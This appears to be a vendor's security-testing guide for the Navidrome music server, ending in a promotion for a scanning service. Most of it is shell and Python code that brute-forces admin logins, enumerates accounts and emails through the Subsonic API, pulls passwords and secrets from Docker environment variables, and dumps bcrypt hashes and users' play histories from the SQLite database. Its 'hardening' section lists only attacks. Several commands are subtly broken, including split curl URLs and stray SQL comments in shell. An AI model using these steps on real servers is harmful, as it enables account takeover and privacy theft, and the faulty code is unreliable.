Navidrome Security Testing: Default Credentials, API Key, Database, and Subsonic API

Navidrome is a widely deployed self-hosted music streaming server compatible with all Subsonic API clients — it is one of the most popular self-hosted alternatives to Spotify and Apple Music. Key assessment areas: admin credentials control the entire platform; the Subsonic API supports a plaintext password parameter that transmits credentials in GET request query strings, making them visible in server logs and reverse proxy access logs; the SQLite database stores all user accounts and complete play history; and admin API endpoints allow user enumeration and creation. This guide covers systematic Navidrome security assessment.

Table of Contents

  1. Admin Credential Testing and Web UI Access
  2. Subsonic API Authentication and Plaintext Password Exposure
  3. SQLite Database User and Play History Extraction
  4. Navidrome Security Hardening

Admin Credential Testing and Web UI Access

# Navidrome — admin credential testing and web UI access
ND_URL="https://music.example.com"

# Test common Navidrome default admin credentials
for CRED in "admin:admin" "admin:password" "navidrome:navidrome" "admin:music123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Navidrome uses JWT cookie auth for web UI
  RESULT=$(curl -s -X POST "${ND_URL}/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('token') or d.get('id'):
    print(f'SUCCESS: {\"${USER}\"/\"${PASS}\"} token={str(d.get(\"token\",\"\"))[:20]}...')
    print(f'  isAdmin={d.get(\"isAdmin\")} name={d.get(\"name\")}')
elif d.get('error'):
    print(f'FAIL: {d.get(\"error\")}')
" 2>/dev/null
done

# Navidrome REST API — check version without auth
curl -s "${ND_URL}/rest/ping.view?u=x&p=x&v=1.16.1&c=test&f=json" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
r = d.get('subsonic-response',{})
print(f'Navidrome Subsonic API: status={r.get(\"status\")} version={r.get(\"serverVersion\")}')
" 2>/dev/null

Subsonic API Authentication and Plaintext Password Exposure

# Navidrome Subsonic API — authentication and plaintext password exposure
ND_URL="https://music.example.com"

# Subsonic API supports TWO authentication methods:
# 1. Plaintext: ?u=USER&p=PASSWORD — password in GET URL, visible in logs
# 2. Token: ?u=USER&t=MD5(password+salt)&s=SALT — MD5-based, not bcrypt

# Plaintext password method — credentials in query string
curl -s "${ND_URL}/rest/getUser.view" \
  "?u=admin&p=admin&v=1.16.1&c=test&f=json" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
r = d.get('subsonic-response',{})
if r.get('status') == 'ok':
    u = r.get('user',{})
    print(f'SUCCESS (plaintext auth):')
    print(f'  username={u.get(\"username\")} isAdmin={u.get(\"adminRole\")}')
    print(f'  roles: download={u.get(\"downloadRole\")} stream={u.get(\"streamRole\")}')
" 2>/dev/null

# Admin user enumeration — /rest/getUsers (admin only)
curl -s "${ND_URL}/rest/getUsers.view" \
  "?u=admin&p=admin&v=1.16.1&c=test&f=json" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('subsonic-response',{}).get('users',{}).get('user',[])
if not isinstance(users, list): users = [users]
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"username\")} email={u.get(\"email\")} admin={u.get(\"adminRole\")}')
" 2>/dev/null

# Music folder paths — /rest/getMusicFolders (server filesystem paths)
curl -s "${ND_URL}/rest/getMusicFolders.view" \
  "?u=admin&p=admin&v=1.16.1&c=test&f=json" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
folders = d.get('subsonic-response',{}).get('musicFolders',{}).get('musicFolder',[])
if not isinstance(folders, list): folders = [folders]
print(f'Music folders: {len(folders)}')
for f in folders:
    print(f'  [{f.get(\"id\")}] {f.get(\"name\")} path exposed via media URLs')
" 2>/dev/null

SQLite Database User and Play History Extraction

# Navidrome SQLite database extraction

# Docker environment variables
docker inspect navidrome 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['ND_','NAVIDROME','PASSWORD','SECRET','DB']):
            print(e)
    for m in c.get('Mounts',[]):
        print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null
# ND_DEFAULTADMINPASSWORD — admin password set at first run
# ND_MUSICFOLDER — path to music library on host
# ND_LOGLEVEL — if debug, may log auth tokens

# Navidrome data directory
ls /music/data/ 2>/dev/null
# navidrome.db — main SQLite database
# cache/ — transcoded audio cache

DB_PATH="/music/data/navidrome.db"

# All users with password hashes
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT id, user_name, name, email,
       password, -- bcrypt hash
       is_admin,
       last_login_at,
       created_at
FROM user
ORDER BY is_admin DESC, created_at;
EOF

# Complete play history per user
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT u.user_name,
       a.annotation_type,
       mf.title as track_title,
       al.name as album,
       ar.name as artist,
       a.play_count,
       a.play_date,
       a.starred,
       a.rating
FROM annotation a
JOIN user u ON a.user_id = u.id
LEFT JOIN media_file mf ON a.item_id = mf.id AND a.annotation_type = 'media_file'
LEFT JOIN album al ON a.item_id = al.id AND a.annotation_type = 'album'
LEFT JOIN artist ar ON a.item_id = ar.id AND a.annotation_type = 'artist'
ORDER BY a.play_date DESC
LIMIT 30;
EOF
-- play history reveals listening patterns, music preferences, active hours

-- All media files with filesystem paths
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT mf.path,         -- full filesystem path to audio file
       mf.title,
       mf.album,
       mf.artist,
       mf.year,
       mf.bit_rate,
       mf.size,
       mf.duration
FROM media_file mf
LIMIT 20;
EOF

Navidrome Security Hardening

Navidrome Security Hardening Checklist:
Security TestMethodRisk
Admin credential brute force and web UI accessPOST /auth/login with admin/admin — JWT token for full admin panel; user management, music library rescan, system settings; Subsonic API admin access enabling user creation and deletionHigh
Subsonic API plaintext password in query stringGET /rest/*.view?u=USER&p=PASSWORD — password transmitted as URL parameter; visible in nginx/Apache access logs, reverse proxy logs, and browser history; enables credential harvesting from log files without authenticationHigh
SQLite user table bcrypt hash extractionSELECT password FROM user — bcrypt hashes for all accounts; offline cracking of bcrypt hashes with weak passwords; play history and listening pattern exposureHigh
Admin user enumeration via getUsersGET /rest/getUsers.view — admin-only endpoint listing all accounts with email addresses; enables targeted credential attacks against known usersMedium
ND_REVERSEPROXYUSERHEADER authentication bypassDirect HTTP request with username header — bypasses all authentication when configured and direct access is possible; admin access without credentialsCritical

Automate Navidrome Security Testing

Ironimo tests Navidrome deployments for admin credential brute force, Subsonic API plaintext password URL parameter exposure in server logs, MD5 token authentication weakness assessment, SQLite user table bcrypt hash extraction, annotation table play history privacy exposure, ND_REVERSEPROXYUSERHEADER authentication bypass testing, music library filesystem path disclosure, Docker ND_DEFAULTADMINPASSWORD environment variable exposure, admin getUsers enumeration, and unauthenticated server version disclosure via ping endpoint.

Start free scan